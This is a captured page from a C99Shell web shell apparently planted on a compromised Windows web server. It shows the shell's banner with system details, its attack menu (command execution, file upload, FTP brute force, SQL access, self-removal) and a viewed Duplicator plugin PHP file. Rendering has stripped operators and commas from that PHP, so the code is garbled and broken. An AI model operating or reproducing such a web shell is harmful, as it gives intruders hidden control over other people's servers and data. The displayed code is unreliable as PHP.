!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\nuevo\htdocs\bogotacumbredelclima\wp-content\plugins\duplicator\installer\build\classes\   drwxrwxrwx
Free 1.03 GB of 239.26 GB (0.43%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class.config.php (2.09 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// Exit if accessed directly 
if (! defined('DUPLICATOR_INIT')) {
    
$_baseURL =  strlen($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : $_SERVER['HTTP_HOST'];
    
$_baseURL =  "http://" $_baseURL;
    
header("HTTP/1.1 301 Moved Permanently");
    
header("Location: $_baseURL");
    exit; 
}

/** * *****************************************************
 * DUPX_Config 
 * Class used to update and edit web server configuration files  */

class DUPX_Config {
    

    
/** 
     *  Clear .htaccess and web.config files and backup
     */
    
static public function Reset() {
        
        
DUPX_Log::Info("\nWEB SERVER CONFIGURATION FILE RESET:");

        
//Apache
        
@copy('.htaccess''.htaccess.orig');
        @
unlink('.htaccess');
        
//IIS
        
@copy('web.config''web.config.orig');
        @
unlink('web.config');

        
DUPX_Log::Info("- Backup of .htaccess/web.config made to .orig");
        
DUPX_Log::Info("- Reset of .htaccess/web.config files");
        
$tmp_htaccess '# RESET FOR DUPLICATOR INSTALLER USEAGE';
        
file_put_contents('.htaccess'$tmp_htaccess);
        @
chmod('.htaccess'0644);
    }
    
    
        
/** METHOD: ResetHTACCESS
     *  Resetst the .htaccess file
     */
    
static public function Setup() {
        
        if (! isset(
$_POST['url_new'])) {
            return;
        }
        
        
DUPX_Log::Info("\nWEB SERVER CONFIGURATION FILE BASIC SETUP:");
        
$currdata parse_url($_POST['url_old']);
        
$newdata  parse_url($_POST['url_new']);
        
$currpath DupUtil::add_slash(isset($currdata['path']) ? $currdata['path'] : "");
        
$newpath  DupUtil::add_slash(isset($newdata['path'])  ? $newdata['path'] : "");

        
$tmp_htaccess = <<<HTACCESS
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase 
{$newpath}
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . 
{$newpath}index.php [L]
</IfModule>
# END WordPress
HTACCESS;

        
file_put_contents('.htaccess'$tmp_htaccess);
        @
chmod('.htaccess'0644);
        
DUPX_Log::Info("created basic .htaccess file.  If using IIS web.config this process will need to be done manually.");

    }
    
    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--